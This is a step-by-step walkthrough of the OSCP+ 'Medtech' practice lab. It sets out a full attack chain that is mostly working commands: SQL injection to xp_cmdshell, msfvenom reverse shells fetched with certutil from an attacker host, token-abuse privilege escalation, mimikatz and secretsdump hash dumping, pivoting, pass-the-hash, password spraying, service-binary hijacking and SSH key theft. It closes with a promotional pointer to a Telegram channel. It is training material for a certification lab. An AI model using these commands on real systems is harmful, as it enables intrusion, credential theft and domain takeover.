OSCP+ Medtech Network – Full Walkthrough

OSCP+ Medtech Network – Full Walkthrough 2026

1. Lab Overview

The Medtech lab simulates a corporate Windows Active Directory environment with:

• Public-facing web servers
• Internal Windows machines
• Domain Controller
• Multiple user accounts
• Misconfigurations and vulnerable services

The goal is to:

1. Gain initial access
2. Move laterally through the internal network
3. Escalate privileges
4. Compromise the Domain Controller

2. Network Layout Summary

Host	Access Type
.121	Public + Internal
.120	Public
.10	Domain Controller
.11	Internal
.12	Internal
.82	Internal
.83	Internal
.14	Internal

Step 1: Port Scanning

Instead of blindly scanning:

Use two phases:

Phase 1 – Fast scan

Identify open ports quickly.

Phase 2 – Full scan

Deep enumeration on discovered ports.

Port scanning

Fast scan:

nmap -Pn -T4 -F 192.168.213.121

Full scan:

nmap -Pn -p- -sC -sV -oA fullscan 192.168.213.121

2. Web Enumeration

Directory brute force:

gobuster dir -u http://192.168.213.121 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x aspx,php,txt

Found:

/login.aspx

3. SQL Injection → RCETest injection:

' OR 1=1--

Confirm error-based or boolean injection.

xp_cmdshell enable payload (if disabled):

'; EXEC sp_configure 'show advanced options',1; RECONFIGURE; --
'; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE; --

Command execution test:

'; EXEC master..xp_cmdshell 'whoami'--

Reverse shell payload:

Generate:

msfvenom -p windows/x64/shell_reverse_tcp LHOST=<ATTACKER_IP> LPORT=4444 -f exe -o shell.exe

Host:

python3 -m http.server 80

Download & execute:

'; EXEC master..xp_cmdshell 'certutil -urlcache -f http://<IP>/shell.exe shell.exe'--
'; EXEC master..xp_cmdshell 'shell.exe'--

Listener:

nc -lvnp 4444

4. Privilege Escalation (.121)

Check privileges:

whoami /priv

Look for:

SeImpersonatePrivilege

Upload PrintSpoofer / JuicyPotato

certutil -urlcache -f http://<IP>/PrintSpoofer.exe ps.exe

Exploit:

ps.exe -i -c cmd.exe

Verify:

whoami

Result:

NT AUTHORITY\SYSTEM

5. Dump Local Hashes

Upload secretsdump OR use mimikatz:

Option A – Registry dump:

reg save HKLM\SAM sam.save
reg save HKLM\SYSTEM system.save

Exfiltrate:

impacket-secretsdump -sam sam.save -system system.save LOCAL

6. Pivoting Setup

Create SOCKS proxy:

ssh -D 1080 [email protected]

Or use chisel:

Server:

./chisel server -p 9001 --reverse

Client:

chisel.exe client <ATTACKER_IP>:9001 R:socks

Configure proxychains:

nano /etc/proxychains.conf

Set:

socks5 127.0.0.1 1080

7. Internal Enumeration (.11)

Test SMB:

proxychains crackmapexec smb 172.16.x.11 -u Administrator -p <PASSWORD>

Or pass-the-hash:

proxychains crackmapexec smb 172.16.x.11 -u Administrator -H <HASH>

Shell:

proxychains evil-winrm -i 172.16.x.11 -u Administrator -p <PASSWORD>

8. Dump Domain Credentials

proxychains impacket-secretsdump domain.local/Administrator:<PASS>@172.16.x.11

OR from shell:

mimikatz
sekurlsa::logonpasswords

9. Password Spraying

Create users file:

users.txt

Spray:

proxychains crackmapexec smb 172.16.0.0/24 -u users.txt -p <PASSWORD>

10. Host .83 – Service Privilege Escalation

Enumerate services:

sc query state= all

Check binary:

sc qc vulnerableService

Check permissions:

icacls "C:\Path\service.exe"

Replace binary

Upload shell:

copy shell.exe C:\Path\service.exe

Restart:

sc stop vulnerableService
sc start vulnerableService

Listener:

nc -lvnp 4445

SYSTEM shell gained.

11. Host .12 – Writable Backup Binary

Find:

dir C:\Temp

Check permissions:

icacls backup.exe

Replace:

copy shell.exe backup.exe

Wait or execute:

backup.exe

SYSTEM shell.

Dump credentials again.

12. Domain Controller (.10)

Login:

proxychains evil-winrm -i 172.16.x.10 -u Administrator -p <PASSWORD>

Dump domain:

impacket-secretsdump domain.local/Administrator:<PASS>@172.16.x.10

13. Linux Host .120

SSH:

ssh [email protected]

Privilege escalation:

sudo -l
sudo su

14. Linux Host .121

Brute force:

hydra -l user -P rockyou.txt ssh://192.168.213.121

Login:

ssh [email protected]

Check SUID:

find / -perm -4000 2>/dev/null

OpenVPN abuse:

openvpn --config evil.conf

Spawn root shell.

15. Final Host .14 (SSH key)

Locate key:

cat /home/mario/.ssh/id_rsa

Use:

chmod 600 id_rsa
ssh -i id_rsa [email protected]

16. Credential Handling Cheat Sheet

Crack NTLM:

john hash.txt --wordlist=rockyou.txt

Convert hash:

hashcat -m 1000 hash.txt rockyou.txt

Pass-the-hash:

evil-winrm -i IP -u user -H HASH

17. Windows Privilege Escalation Checklist

whoami /priv
systeminfo
tasklist /svc
wmic service get name,pathname,displayname,startmode
icacls "C:\Program Files"

18. Linux Privilege Escalation Checklist

id
sudo -l
find / -perm -4000 2>/dev/null
cat /etc/crontab
ps aux

19. Attack Path Summary

Web SQLi → RCE → SYSTEM
→ dump hashes
→ pivot
→ .11
→ dump domain creds
→ spray
→ .83 (service exploit)
→ .12 (backup exploit)
→ DC
→ Linux .120
→ Linux .121
→ .14

20. OSCP+ Exam Strategy Learned

Skill	              Learned
Web exploitation	 SQLi → RCE
Windows PE	        Token abuse, service hijack
Credential abuse	secretsdump, spraying
AD	                Lateral movement
Linux PE	        sudo + SUID
Pivoting	        SOCKS
Persistence	        SSH keys

Look for a non-public solution to the problem in the telegram channel .
